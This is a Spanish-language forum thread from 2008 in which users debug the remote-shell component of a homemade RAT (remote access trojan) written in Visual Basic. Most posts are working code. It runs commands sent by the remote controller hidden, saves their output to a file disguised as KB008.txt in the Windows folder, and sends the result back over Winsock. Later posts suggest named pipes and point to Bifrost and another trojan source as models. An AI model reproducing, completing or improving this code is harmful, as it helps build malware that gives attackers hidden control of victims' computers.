Bueno estaba arreglando la Shell Remota de mi RAT, y como era output pues la quise hacer de este metodo :
Al recibir el comando del cliente.. la Shell del servidor ejecuta el comando y guarda el resultado en un texto, luego lista el texto en un Textbox y lo envia al cliente.
Mi error aqui :
Si hago el comando : "cmd /c " & data(1) & " > " & Environ("Windir") & "\TexTo.txt"
Guarda en el texto y todo bien.. pero si lo ejecuto desde el Servidor..
Shell "cmd /c " & data(1) & " > " & Environ("Windir") & "\TexTo.txt"
Lo ejecuta pero no se guarda en el texto..
Porque puede ser?
Saludos!
Pipes...
La que yo tenia anteriormente era algo asi :
Dim conten As String
conten = CMD(data(1))
Pero no funcionaba, ya que se lageaba al hacer por ej. ping 127.0.0.1 -t
Saludos!
Cita de: Sharki en 2 Diciembre 2008, 15:07 PM
La que yo tenia anteriormente era algo asi :
Dim conten As String
conten = CMD(data(1))
La de pipes.. como seria?
Saludos!
Pues es un metodo para obtener el resultado de un comando, usando Named Pipes (
FIFO) (http://en.wikipedia.org/wiki/Named_pipe)
Si no recuerdo mal Cobein hizo un code que las utilizaba... creo que el post del titulo era algo asi: 'Jugaba a que hacia un troyano...' :xD
Saludos :D
Mmm gracias por la info KrackWar pero busque y no encontre nada sobre lo de Cobein :xD 'Jugando a hacer un troyano', igualmente no habria alguna solucion sobre el metodo que puse arriba? en el primer post?
Saludos! :D
Cita de: Sharki en 2 Diciembre 2008, 16:42 PM
Mmm gracias por la info KrackWar pero busque y no encontre nada sobre lo de Cobein :xD 'Jugando a hacer un troyano', igualmente no habria alguna solucion sobre el metodo que puse arriba? en el primer post?
Saludos! :D
Soy
Karcrack :-\ :xD
CitarJugaba a que hacia un troyano =] (SOURCE) (http://foro.elhacker.net/programacion_vb/jugaba_a_que_hacia_un_troyano_source-t211260.0.html)
Bueno, primero, para encontrar el error has de saber que hay en la variable Data(1)...
Saludos :D
Jaja perdona
KarCracK :xD
Si estuve hablando con cobein y me habia dicho el link.. pero vi el source y no l oentendi mucho como te diria.. y si no hay alguna forma de arreglar lo que puse yo.
No creo que fuera por el comando recibido.. pero mira te dejo mi code..
Citar
Kill Environ("windir") & "KB008.txt"
Sleep (500)
Shell "cmd /c " & data(1) & " > " & Environ("windir") & "KB008.txt", vbHide
Sleep (2000)
Open Environ("windir") & "KB008.txt" For Input As #1
TextShell.Text = Input(LOF(1), 1)
Close #1
WS.SendData "ComandoShell|" & TextShell.Text
Ya probe tambien cambiandole Environ ("windir") por "C:\" y tampoco funciona.
Saludos! :-(
Bueno, la verdad es que no veo fallo en ese code :-\
Pero de todas formas, porque no habres el fichero .txt de forma binaria?
Ademas, porque gastar un Text? Podrias gastar una variable no? :P
Bueno, asi es como yo lo dejaria (Ahora no estoy en el SobreMesa, asi que no puedo probarlo..):
Kill Environ("windir") & "KB008.txt"
Sleep (500)
Shell "cmd /c " & data(1) & " > " & Environ("windir") & "KB008.txt", vbHide
Sleep (2000)
Open Environ("windir") & "KB008.txt" For binary As #1
TextShell.Text = space$(LOF(1))
Get #1,,textshell.text
Close #1
WS.SendData "ComandoShell|" & TextShell.Text
Saludos :D
Se agradece el code modificado ! ;)
Pero me salio un error de, variable requerida.. no se puede asignar esta expresion.
Error :
Open Environ("windir") & "KB008.txt" For binary As #1
TextShell.Text = space$(LOF(1))
Get #1,,textshell.text
Close #1
Probe agregandole :
Dim Comando as string
y luego cambiar eso por Comando..
y al llegar los datos salia ComandoShell (?) :xD
Espero que me puedas ayudar!
Saludos! :(
Dim sCommand As String
Kill Environ("windir") & "KB008.txt"
Sleep (500)
Shell "cmd /c " & Data(1) & " > " & Environ("windir") & "KB008.txt", vbHide
Sleep (2000)
Open Environ("windir") & "KB008.txt" For Binary As #1
sCommand = Space$(LOF(1))
Get #1, , sCommand
Close #1
WS.SendData "ComandoShell|" & sCommand
No entendi la ultima parte :-\... dices que solo se envia "ComandoShell|" ?
Saludos :D
Nada.. sigue igual.
Dim sCommand As String
sCommand = TextShell.Text
Kill Environ("windir") & "KB008.txt"
Sleep (500)
Shell "cmd /c " & data(1) & " > " & Environ("windir") & "KB008.txt", vbHide
Sleep (2000)
Open Environ("windir") & "KB008.txt" For Binary As #1
sCommand = Space$(LOF(1))
Get #1, , sCommand
Close #1
WS.SendData "ComandoShell|" & sCommand
Probe sin el : sCommand = TextShell.Text
Pero claramente te lo enviara en blanco.
Saludos! :-(
Edit : KrakCar te agregue al msn por si me puedes ayudar, es que asi por el foro tardamos mucho.. Saludos!
ajajaj KrackWar!!!!!!
ajjajajaja
Man no dejes de postear si lo solucionas, a mi me pasa cosas parecidas yo quisiera que me quedara igual que el del bifrost pero que va hay cosas que no comprendo, mañana sin falta te pongo el code que uso para la Shell, es usando Pipes, 2 inconvenientes que recuerdo son...
Que cuando tecleas un comando por ejemplo el Time, se marea porque el queda esperando que le introduzcas una fecha y tienes que cerrar la aplicacion.
El otro es por ejemplo el del Copiar.. d:\>copy *.txt c:\windows\config esto me da problemas porque el coje y busca en la carpeta donde el RAT se encuentra cualquier .txt y lo copia, en ves de buscar en la raiz de D: y copiar todos los *.txt
Que lo del copiar se arregla si pones toda la sintaxis asi..
d:\>copy d:\*.txt c:\windows\config
asi si funciona pero bueno jejeje quiero hacerlo mas kuki por asi decir...
Salu2